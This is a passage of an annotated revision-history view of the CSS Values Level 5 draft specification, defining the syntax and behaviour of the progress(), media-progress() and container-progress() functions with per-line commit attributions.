class="linenr"> <a href="/drafts/annotate/72a9a70d5e2e/css-values-5/Overview.bs#l569" title="72a9a70d5e2e: [css-values-5] Mark progress() as a math function, call out the other *-progress() functions as *not* math functions.">jackalmage@31669</a> </td> <td class="lineno"> <a href="#l814" id="l814"> 814</a> </td> <td class="source"> ''progress()'' is a [=math function=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l570" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l815" id="l815"> 815</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l571" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l816" id="l816"> 816</a> </td> <td class="source"> The syntax of ''progress()'' is defined as follows: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l572" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l817" id="l817"> 817</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l573" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l818" id="l818"> 818</a> </td> <td class="source"> <pre class=prod> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/c5ba0eda2123/css-values-5/Overview.bs#l814" title="c5ba0eda2123: [css-values-5] Switch *progress() to commas. #10489">fantasai@31740</a> </td> <td class="lineno"> <a href="#l819" id="l819"> 819</a> </td> <td class="source"> <dfn id=typedef-progress-fn><<progress()>></dfn> = progress(<<calc-sum>>, <<calc-sum>>, <<calc-sum>>) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l575" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l820" id="l820"> 820</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l576" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l821" id="l821"> 821</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l577" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l822" id="l822"> 822</a> </td> <td class="source"> where the first, second, and third <<calc-sum>> values represent </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l578" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l823" id="l823"> 823</a> </td> <td class="source"> the [=progress value=], [=progress start value=], and [=progress end value=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l579" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l824" id="l824"> 824</a> </td> <td class="source"> respectively. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l580" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l825" id="l825"> 825</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l146" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l826" id="l826"> 826</a> </td> <td class="source"> The argument [=calculations=] can resolve to any <<number>>, <<dimension>>, or <<percentage>>, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/022e1bf4f266/css-values-5/Overview.bs#l161" title="022e1bf4f266: [css-values-5] Set the types correctly for progress fucntions and calc-mix(). #10017">jackalmage@30986</a> </td> <td class="lineno"> <a href="#l827" id="l827"> 827</a> </td> <td class="source"> but must have a [=consistent type=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l148" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l828" id="l828"> 828</a> </td> <td class="source"> or else the function is invalid. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l584" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l829" id="l829"> 829</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0c62b9c86921/css-values-5/Overview.bs#l826" title="0c62b9c86921: [css-values-5] Clarifications to *progress() interpretation and validity">fantasai@31764</a> </td> <td class="lineno"> <a href="#l830" id="l830"> 830</a> </td> <td class="source"> The value of ''progress()'' is a <<number>>, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e8a33da05266/css-values-5/Overview.bs#l585" title="e8a33da05266: [css-values-5] Never mind, media-progress() and container-progress() should eval their calculations in the MQ/CQ context, so should *not* be consistent. #10890">jackalmage@31668</a> </td> <td class="lineno"> <a href="#l831" id="l831"> 831</a> </td> <td class="source"> determined by [=calculating a progress function=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e8a33da05266/css-values-5/Overview.bs#l586" title="e8a33da05266: [css-values-5] Never mind, media-progress() and container-progress() should eval their calculations in the MQ/CQ context, so should *not* be consistent. #10890">jackalmage@31668</a> </td> <td class="lineno"> <a href="#l832" id="l832"> 832</a> </td> <td class="source"> then [=made consistent=] with the [=consistent type=] of its arguments. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l163" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l833" id="l833"> 833</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l164" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l834" id="l834"> 834</a> </td> <td class="source"> ISSUE: Do we need a ''percent-progress()'' notation, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l165" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l835" id="l835"> 835</a> </td> <td class="source"> or do enough places auto-convert that it's not necessary? </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l166" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l836" id="l836"> 836</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l167" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l837" id="l837"> 837</a> </td> <td class="source"> Note: The ''progress()'' function is essentially syntactic sugar </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/72a9a70d5e2e/css-values-5/Overview.bs#l593" title="72a9a70d5e2e: [css-values-5] Mark progress() as a math function, call out the other *-progress() functions as *not* math functions.">jackalmage@31669</a> </td> <td class="lineno"> <a href="#l838" id="l838"> 838</a> </td> <td class="source"> for a particular pattern of ''calc()'' notations, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/72a9a70d5e2e/css-values-5/Overview.bs#l594" title="72a9a70d5e2e: [css-values-5] Mark progress() as a math function, call out the other *-progress() functions as *not* math functions.">jackalmage@31669</a> </td> <td class="lineno"> <a href="#l839" id="l839"> 839</a> </td> <td class="source"> so it's a [=math function=]. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l169" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l840" id="l840"> 840</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/ef40c0c18301/css-values-5/Overview.bs#l170" title="ef40c0c18301: [css-values-5][editorial] bikeshed fixes">jackalmage@30482</a> </td> <td class="lineno"> <a href="#l841" id="l841"> 841</a> </td> <td class="source"><h3 id="media-progress-func"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l171" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l842" id="l842"> 842</a> </td> <td class="source">Media Query Progress Values: the ''media-progress()'' notation</h3> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l172" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l843" id="l843"> 843</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l173" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l844" id="l844"> 844</a> </td> <td class="source"> Similar to the ''progress()'' notation, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l174" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l845" id="l845"> 845</a> </td> <td class="source"> the <dfn>media-progress()</dfn> functional notation </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l175" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l846" id="l846"> 846</a> </td> <td class="source"> returns a <<number>> value </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l176" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l847" id="l847"> 847</a> </td> <td class="source"> representing current value of the specified [=media query=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l177" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l848" id="l848"> 848</a> </td> <td class="source"> [[!MEDIAQUERIES-4]] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l178" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l849" id="l849"> 849</a> </td> <td class="source"> as a [=progress value=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l179" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l850" id="l850"> 850</a> </td> <td class="source"> between two explicit values of the [=media query=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l180" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l851" id="l851"> 851</a> </td> <td class="source"> (as the [=progress start value=] and [=progress end value=]). </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l181" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l852" id="l852"> 852</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l182" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l853" id="l853"> 853</a> </td> <td class="source"> The syntax of ''media-progress()'' is defined as follows: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l183" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l854" id="l854"> 854</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l184" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l855" id="l855"> 855</a> </td> <td class="source"> <pre class=prod> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/c5ba0eda2123/css-values-5/Overview.bs#l851" title="c5ba0eda2123: [css-values-5] Switch *progress() to commas. #10489">fantasai@31740</a> </td> <td class="lineno"> <a href="#l856" id="l856"> 856</a> </td> <td class="source"> <dfn><<media-progress()>></dfn> = media-progress(<<mf-name>>, <<calc-sum>>, <<calc-sum>>) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l186" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l857" id="l857"> 857</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l187" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l858" id="l858"> 858</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/3fc5a662694d/css-values-5/Overview.bs#l854" title="3fc5a662694d: [css-values-5] Media features, not queries, used in media-progress() #10966">fantasai@31739</a> </td> <td class="lineno"> <a href="#l859" id="l859"> 859</a> </td> <td class="source"> where the value of the [=media feature=] corresponding to <<mf-name>> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e82e288bd2bd/css-values-5/Overview.bs#l856" title="e82e288bd2bd: [css-values-5][editorial] Consistency fixup of *progress() definitions">fantasai@31763</a> </td> <td class="lineno"> <a href="#l860" id="l860"> 860</a> </td> <td class="source"> represents the [=progress value=], </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e82e288bd2bd/css-values-5/Overview.bs#l857" title="e82e288bd2bd: [css-values-5][editorial] Consistency fixup of *progress() definitions">fantasai@31763</a> </td> <td class="lineno"> <a href="#l861" id="l861"> 861</a> </td> <td class="source"> and the two <<calc-sum>> values represent </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e82e288bd2bd/css-values-5/Overview.bs#l858" title="e82e288bd2bd: [css-values-5][editorial] Consistency fixup of *progress() definitions">fantasai@31763</a> </td> <td class="lineno"> <a href="#l862" id="l862"> 862</a> </td> <td class="source"> the [=progress start value=] and [=progress end value=], </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l614" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l863" id="l863"> 863</a> </td> <td class="source"> respectively. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l191" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l864" id="l864"> 864</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/3fc5a662694d/css-values-5/Overview.bs#l859" title="3fc5a662694d: [css-values-5] Media features, not queries, used in media-progress() #10966">fantasai@31739</a> </td> <td class="lineno"> <a href="#l865" id="l865"> 865</a> </td> <td class="source"> The specified [=media feature=] must be a valid “range” type feature, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e82e288bd2bd/css-values-5/Overview.bs#l862" title="e82e288bd2bd: [css-values-5][editorial] Consistency fixup of *progress() definitions">fantasai@31763</a> </td> <td class="lineno"> <a href="#l866" id="l866"> 866</a> </td> <td class="source"> the specified [=progress start value=] and [=progress end value=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l194" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l867" id="l867"> 867</a> </td> <td class="source"> must be valid values for the specified [=media query=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e82e288bd2bd/css-values-5/Overview.bs#l864" title="e82e288bd2bd: [css-values-5][editorial] Consistency fixup of *progress() definitions">fantasai@31763</a> </td> <td class="lineno"> <a href="#l868" id="l868"> 868</a> </td> <td class="source"> and both [=calculation=] values must have a [=consistent type=], </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l195" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l869" id="l869"> 869</a> </td> <td class="source"> or else the function is invalid. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0c62b9c86921/css-values-5/Overview.bs#l866" title="0c62b9c86921: [css-values-5] Clarifications to *progress() interpretation and validity">fantasai@31764</a> </td> <td class="lineno"> <a href="#l870" id="l870"> 870</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0c62b9c86921/css-values-5/Overview.bs#l867" title="0c62b9c86921: [css-values-5] Clarifications to *progress() interpretation and validity">fantasai@31764</a> </td> <td class="lineno"> <a href="#l871" id="l871"> 871</a> </td> <td class="source"> The [=progress start value=] and [=progress end value=] [=calculations=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e8a33da05266/css-values-5/Overview.bs#l621" title="e8a33da05266: [css-values-5] Never mind, media-progress() and container-progress() should eval their calculations in the MQ/CQ context, so should *not* be consistent. #10890">jackalmage@31668</a> </td> <td class="lineno"> <a href="#l872" id="l872"> 872</a> </td> <td class="source"> are interpreted as specified for the [=media feature=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e8a33da05266/css-values-5/Overview.bs#l622" title="e8a33da05266: [css-values-5] Never mind, media-progress() and container-progress() should eval their calculations in the MQ/CQ context, so should *not* be consistent. #10890">jackalmage@31668</a> </td> <td class="lineno"> <a href="#l873" id="l873"> 873</a> </td> <td class="source"> (rather than as specified by the context the function is used in). </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l196" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l874" id="l874"> 874</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0c62b9c86921/css-values-5/Overview.bs#l871" title="0c62b9c86921: [css-values-5] Clarifications to *progress() interpretation and validity">fantasai@31764</a> </td> <td class="lineno"> <a href="#l875" id="l875"> 875</a> </td> <td class="source"> The value of ''media-progress()'' is a <<number>>, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l623" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l876" id="l876"> 876</a> </td> <td class="source"> determined by [=calculating a progress function=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/022e1bf4f266/css-values-5/Overview.bs#l218" title="022e1bf4f266: [css-values-5] Set the types correctly for progress fucntions and calc-mix(). #10017">jackalmage@30986</a> </td> <td class="lineno"> <a href="#l877" id="l877"> 877</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/72a9a70d5e2e/css-values-5/Overview.bs#l629" title="72a9a70d5e2e: [css-values-5] Mark progress() as a math function, call out the other *-progress() functions as *not* math functions.">jackalmage@31669</a> </td> <td class="lineno"> <a href="#l878" id="l878"> 878</a> </td> <td class="source"> Note: ''media-progress()'' is <em>not</em> a [=math function=]; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/72a9a70d5e2e/css-values-5/Overview.bs#l630" title="72a9a70d5e2e: [css-values-5] Mark progress() as a math function, call out the other *-progress() functions as *not* math functions.">jackalmage@31669</a> </td> <td class="lineno"> <a href="#l879" id="l879"> 879</a> </td> <td class="source"> it's just a function that evaluates to a <<number>>. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/72a9a70d5e2e/css-values-5/Overview.bs#l631" title="72a9a70d5e2e: [css-values-5] Mark progress() as a math function, call out the other *-progress() functions as *not* math functions.">jackalmage@31669</a> </td> <td class="lineno"> <a href="#l880" id="l880"> 880</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/ef40c0c18301/css-values-5/Overview.bs#l197" title="ef40c0c18301: [css-values-5][editorial] bikeshed fixes">jackalmage@30482</a> </td> <td class="lineno"> <a href="#l881" id="l881"> 881</a> </td> <td class="source"><h3 id="container-progress-func"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l198" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l882" id="l882"> 882</a> </td> <td class="source">Container Query Progress Values: the ''container-progress()'' notation</h3> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l199" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l883" id="l883"> 883</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l200" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l884" id="l884"> 884</a> </td> <td class="source"> The <dfn>container-progress()</dfn> functional notation </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l201" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l885" id="l885"> 885</a> </td> <td class="source"> is identical to the ''media-progress()'' functional notation, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l202" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l886" id="l886"> 886</a> </td> <td class="source"> except that it accepts [=container features=] [[!CSS-CONTAIN-3]] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l203" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l887" id="l887"> 887</a> </td> <td class="source"> in place of [=media features=]. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l204" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l888" id="l888"> 888</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l205" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l889" id="l889"> 889</a> </td> <td class="source"> The syntax of ''container-progress()'' is defined as follows: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l206" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l890" id="l890"> 890</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l207" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l891" id="l891"> 891</a> </td> <td class="source"> <pre class=prod> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/2784db4c9afd/css-values-5/Overview.bs#l885" title="2784db4c9afd: [css-values-5] <size-query> should be <mf-name> #11120">fantasai@31761</a> </td> <td class="lineno"> <a href="#l892" id="l892"> 892</a> </td> <td class="source"> <dfn><<container-progress()>></dfn> = container-progress(<<mf-name>> [ of <<container-name>> ]?, <<calc-sum>>, <<calc-sum>>) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l209" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l893" id="l893"> 893</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l210" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l894" id="l894"> 894</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/2784db4c9afd/css-values-5/Overview.bs#l888" title="2784db4c9afd: [css-values-5] <size-query> should be <mf-name> #11120">fantasai@31761</a> </td> <td class="lineno"> <a href="#l895" id="l895"> 895</a> </td> <td class="source"> where <<mf-name>> represents a [=size feature=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/2784db4c9afd/css-values-5/Overview.bs#l889" title="2784db4c9afd: [css-values-5] <size-query> should be <mf-name> #11120">fantasai@31761</a> </td> <td class="lineno"> <a href="#l896" id="l896"> 896</a> </td> <td class="source"> and the optional <<container-name>> component specifies </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l212" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l897" id="l897"> 897</a> </td> <td class="source"> the named containers to consider when selecting a container </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/2784db4c9afd/css-values-5/Overview.bs#l891" title="2784db4c9afd: [css-values-5] <size-query> should be <mf-name> #11120">fantasai@31761</a> </td> <td class="lineno"> <a href="#l898" id="l898"> 898</a> </td> <td class="source"> to resolve them against. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/2784db4c9afd/css-values-5/Overview.bs#l892" title="2784db4c9afd: [css-values-5] <size-query> should be <mf-name> #11120">fantasai@31761</a> </td> <td class="lineno"> <a href="#l899" id="l899"> 899</a> </td> <td class="source"> The value of the [=size feature=] is the [=progress value=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e82e288bd2bd/css-values-5/Overview.bs#l895" title="e82e288bd2bd: [css-values-5][editorial] Consistency fixup of *progress() definitions">fantasai@31763</a> </td> <td class="lineno"> <a href="#l900" id="l900"> 900</a> </td> <td class="source"> and the two <<calc-sum>> values represent </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e82e288bd2bd/css-values-5/Overview.bs#l896" title="e82e288bd2bd: [css-values-5][editorial] Consistency fixup of *progress() definitions">fantasai@31763</a> </td> <td class="lineno"> <a href="#l901" id="l901"> 901</a> </td> <td class="source"> the [=progress start value=] and [=progress end value=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l644" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l902" id="l902"> 902</a> </td> <td 